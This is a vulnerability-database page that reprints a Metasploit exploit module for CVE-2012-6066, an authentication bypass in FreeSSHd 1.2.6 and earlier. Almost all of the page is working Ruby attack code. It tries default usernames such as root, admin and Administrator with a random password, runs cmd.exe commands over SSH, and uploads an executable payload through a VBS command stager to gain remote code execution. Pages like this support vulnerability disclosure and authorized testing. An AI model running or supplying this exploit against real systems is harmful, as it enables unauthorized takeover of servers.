Lucene search
K

Freesshd Authentication Bypass

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

Freesshd Authentication Bypass vulnerability in FreeSSHd<=1.2.6 allows authentication bypass with username (defaults to root). Exploit tested with password and public key authentication

Code

                                                require &#39;msf/core&#39;
require &#39;tempfile&#39;
class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#34;Freesshd Authentication Bypass&#34;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a vulnerability found in FreeSSHd &#60;= 1.2.6 to bypass
				authentication. You just need the username (which defaults to root). The exploit
				has been tested with both password and public key authentication.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;Aris&#39;, # Vulnerability discovery and Exploit
					&#39;kcope&#39;, # 2012 Exploit
					&#39;Daniele Martini &#60;cyrax[at]pkcrew.org&#62;&#39; # Metasploit module
				],
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2012-6066&#39; ],
					[ &#39;OSVDB&#39;, &#39;88006&#39; ],
					[ &#39;BID&#39;, &#39;56785&#39; ],
					[ &#39;URL&#39;, &#39;http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html&#39; ],
					[ &#39;URL&#39;, &#39;http://seclists.org/fulldisclosure/2010/Aug/132&#39; ]
				],
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Privileged&#39;     =&#62; true,
			&#39;DisclosureDate&#39; =&#62; &#34;Aug 11 2010&#34;,
			&#39;Targets&#39; =&#62;
				[
					[ &#39;Freesshd &#60;= 1.2.6 / Windows (Universal)&#39;, {} ]
				],
			&#39;DefaultTarget&#39; =&#62; 0
		))

		register_options(
			[
				OptInt.new(&#39;RPORT&#39;, [false, &#39;The target port&#39;, 22]),
				OptString.new(&#39;USERNAMES&#39;,[true,&#39;Space Separate list of usernames to try for ssh authentication&#39;,&#39;root admin Administrator&#39;])
			], self.class)
	end

	def load_netssh
		begin
			require &#39;net/ssh&#39;
			return true
		rescue LoadError
			return false
		end
	end

	def check
		connect
		banner = sock.recv(30)
		disconnect
		if banner =~ /SSH-2.0-WeOnlyDo/
			version=banner.split(&#34; &#34;)[1]
			return Exploit::CheckCode::Vulnerable if version =~ /(2.1.3|2.0.6)/
			return Exploit::CheckCode::Appears
		end
		return Exploit::CheckCode::Safe
	end


	def upload_payload(connection)
		exe = generate_payload_exe
		filename = rand_text_alpha(8) + &#34;.exe&#34;
		cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
		opts = {
			:linemax =&#62; 1700,
			:decoder =&#62; File.join(Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;cmdstager&#34;, &#34;vbs_b64&#34;),
		}

		cmds = cmdstager.generate(opts)

		if (cmds.nil? or cmds.length &#60; 1)
			print_error(&#34;The command stager could not be generated&#34;)
			raise ArgumentError
		end
		cmds.each { |cmd|
			ret = connection.exec!(&#34;cmd.exe /c &#34;+cmd)
		}

	end

	def setup_ssh_options
		pass=rand_text_alpha(8)
		options={
			:password =&#62; pass,
			:port     =&#62; datastore[&#39;RPORT&#39;],
			:timeout  =&#62; 1,
			:proxies  =&#62; datastore[&#39;Proxies&#39;],
			:key_data =&#62; OpenSSL::PKey::RSA.new(2048).to_pem
		}
		return options
	end

	def do_login(username,options)
		print_status(&#34;Trying username &#34;+username)
		options[:username]=username

		transport = Net::SSH::Transport::Session.new(datastore[&#39;RHOST&#39;], options)
		auth = Net::SSH::Authentication::Session.new(transport, options)
		auth.authenticate(&#34;ssh-connection&#34;, username, options[:password])
		connection = Net::SSH::Connection::Session.new(transport, options)
		begin
			Timeout.timeout(10) do
				connection.exec!(&#39;cmd.exe /c echo&#39;)
			end
		rescue  RuntimeError
			return nil
		rescue	Timeout::Error
			print_status(&#34;Timeout&#34;)
			return nil
		end
		return connection
	end

	def exploit
		#
		# Load net/ssh so we can talk the SSH protocol
		#
		has_netssh = load_netssh
		if not has_netssh
			print_error(&#34;You don&#39;t have net/ssh installed.  Please run gem install net-ssh&#34;)
			return
		end

		options=setup_ssh_options

		connection = nil

		usernames=datastore[&#39;USERNAMES&#39;].split(&#39; &#39;)
		usernames.each { |username|
			connection=do_login(username,options)
			break if connection
		}

		if connection
			print_status(&#34;Uploading payload. (This step can take up to 5 minutes. But if you are here, it will probably work. Have faith.)&#34;)
			upload_payload(connection)
			handler
		end
	end
end


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation